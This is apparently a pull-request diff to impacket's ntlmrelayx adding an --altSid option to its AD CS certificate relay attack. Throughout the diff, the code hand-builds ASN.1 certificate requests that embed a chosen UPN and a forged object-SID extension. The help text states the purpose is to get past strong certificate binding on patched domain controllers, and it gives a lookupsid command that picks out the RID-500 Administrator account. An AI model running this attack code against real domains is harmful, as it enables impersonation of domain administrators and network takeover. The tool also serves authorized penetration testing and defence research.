Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions examples/ntlmrelayx.py
Original file line number Diff line number Diff line change
Expand Up @@ -220,6 +220,7 @@ def start_servers(options, threads):
c.setSCCMDPOptions(options.sccm_dp_extensions, options.sccm_dp_files)

c.setAltName(options.altname)
c.setAltSid(options.altSid)

#If the redirect option is set, configure the HTTP server to redirect targets to SMB
if server is HTTPRelayServer and options.r is not None:
Expand Down Expand Up @@ -421,6 +422,10 @@ def stop_servers(threads):
adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack')
adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`')
adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.')
adcsoptions.add_argument('--altSid', action='store', metavar="SID", required=False,
help='Object SID to embed in szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2). '
'Required when StrongCertificateBindingEnforcement >= 1 (default on updated DCs since Feb 2025). '
'Obtain with: lookupsid.py DOMAIN/user:pass@DC | grep " 500$"')
adcsoptions.add_argument('--enum-templates', action='store_true', required=False, help='Enumerate enabled AD CS templates that the relayed account has access to')

# Shadow Credentials attack options
Expand Down
109 changes: 93 additions & 16 deletions impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py
Original file line number Diff line number Diff line change
Expand Up @@ -23,14 +23,62 @@

from cryptography import x509
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.hazmat.primitives.serialization import NoEncryption
from cryptography.hazmat.primitives.serialization import NoEncryption, Encoding
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend
from cryptography.x509 import ExtensionNotFound, load_pem_x509_certificate
from cryptography.x509.oid import NameOID, ObjectIdentifier
from cryptography.hazmat.backends import default_backend

from impacket import LOG


from impacket import LOG
def _tlv(tag, value):
n = len(value)
if n < 0x80:
return bytes([tag, n]) + value
elif n < 0x100:
return bytes([tag, 0x81, n]) + value
else:
return bytes([tag, 0x82, (n >> 8) & 0xff, n & 0xff]) + value


def _oid_encode(oid_str):
parts = [int(x) for x in oid_str.split('.')]
first = 40 * parts[0] + parts[1]

def arc(n):
if n < 128:
return bytes([n])
r = []
while n:
r.insert(0, n & 0x7f)
n >>= 7
for i in range(len(r) - 1):
r[i] |= 0x80
return bytes(r)

c = arc(first)
for p in parts[2:]:
c += arc(p)
return _tlv(0x06, c)


def _encode_upn_san(upn):
"""GeneralNames SEQUENCE containing OtherName[msUPN] = UTF8String(upn)"""
utf8 = _tlv(0x0c, upn.encode('utf-8'))
val = _tlv(0xa0, utf8)
oid = _oid_encode("1.3.6.1.4.1.311.20.2.3")
on = _tlv(0xa0, oid + val)
return _tlv(0x30, on)


def _encode_sid_ext(sid):
"""szOID_NTDS_CA_SECURITY_EXT value: GeneralNames containing OtherName[NTDS_OBJECTSID]"""
oct_s = _tlv(0x04, sid.encode('utf-8'))
val = _tlv(0xa0, oct_s)
oid = _oid_encode("1.3.6.1.4.1.311.25.2.1")
on = _tlv(0xa0, oid + val)
return _tlv(0x30, on)

# cache already attacked clients
ELEVATED = []
Expand Down Expand Up @@ -84,9 +132,13 @@ def _run(self):
else:
LOG.info('Using template name: %s (%s)' % (current_template, original_template))

csr = self.generate_csr(key, self.username, self.config.altName)
altSid = getattr(self.config, 'altSid', None)
csr = self.generate_csr(key, self.username, self.config.altName, altSid=altSid)
csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+")
LOG.info("CSR generated!")
if altSid:
LOG.info("CSR generated with SID extension: %s" % altSid)
else:
LOG.info("CSR generated!")

certAttrib = self.generate_certattributes(current_template, self.config.altName)

Expand Down Expand Up @@ -142,20 +194,45 @@ def _run(self):
LOG.info("This certificate can also be used for user : {}".format(self.config.altName))

@staticmethod
def generate_csr(key, CN, altName, csr_type = crypto.FILETYPE_PEM):
def generate_csr(key, CN, altName, csr_type=crypto.FILETYPE_PEM, altSid=None):
LOG.info("Generating CSR...")
req = crypto.X509Req()

if CN:
req.get_subject().CN = CN

if altSid is None:
req = crypto.X509Req()
if CN:
req.get_subject().CN = CN
if altName:
req.add_extensions([crypto.X509Extension(b"subjectAltName", False,
b"otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%b" % altName.encode())])
req.set_pubkey(key)
req.sign(key, "sha256")
return crypto.dump_certificate_request(csr_type, req)

private_key = key.to_cryptography_key()
builder = x509.CertificateSigningRequestBuilder()
builder = builder.subject_name(x509.Name([
x509.NameAttribute(NameOID.COMMON_NAME, CN or "")
]))
if altName:
req.add_extensions([crypto.X509Extension(b"subjectAltName", False, b"otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%b" % altName.encode() )])

req.set_pubkey(key)
req.sign(key, "sha256")

return crypto.dump_certificate_request(csr_type, req)
builder = builder.add_extension(
x509.UnrecognizedExtension(
oid=ObjectIdentifier("2.5.29.17"),
value=_encode_upn_san(altName)
),
critical=False
)
builder = builder.add_extension(
x509.UnrecognizedExtension(
oid=ObjectIdentifier("1.3.6.1.4.1.311.25.2"),
value=_encode_sid_ext(altSid)
),
critical=False
)
csr = builder.sign(private_key, hashes.SHA256(), default_backend())
if csr_type == crypto.FILETYPE_PEM:
return csr.public_bytes(Encoding.PEM)
else:
return csr.public_bytes(Encoding.DER)

@staticmethod
def generate_pfx(key, certificate):
Expand Down
9 changes: 7 additions & 2 deletions impacket/examples/ntlmrelayx/attacks/rpcattack.py
Original file line number Diff line number Diff line change
Expand Up @@ -136,8 +136,13 @@ def _run(self):

LOG.debug("Generating a CSR for user %s and template %s" % (self.username, current_template))

csr = ADCSAttack.generate_csr(key, self.username, self.config.altName, crypto.FILETYPE_ASN1)
LOG.info("CSR generated!")
altSid = getattr(self.config, 'altSid', None)
csr = ADCSAttack.generate_csr(key, self.username, self.config.altName,
crypto.FILETYPE_ASN1, altSid=altSid)
if altSid:
LOG.info("CSR generated with SID extension: %s" % altSid)
else:
LOG.info("CSR generated!")

attributes = ["CertificateTemplate:%s" % current_template]

Expand Down
4 changes: 4 additions & 0 deletions impacket/examples/ntlmrelayx/utils/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -100,6 +100,7 @@ def __init__(self):
self.isADCSAttack = False
self.template = None
self.altName = None
self.altSid = None
self.enumTemplates = False

# Shadow Credentials attack options
Expand Down Expand Up @@ -288,6 +289,9 @@ def setMSSQLDb(self, mssql_db):
def setAltName(self, altName):
self.altName = altName

def setAltSid(self, altSid):
self.altSid = altSid

def parse_listening_ports(value):
ports = set()
for entry in value.split(","):
Expand Down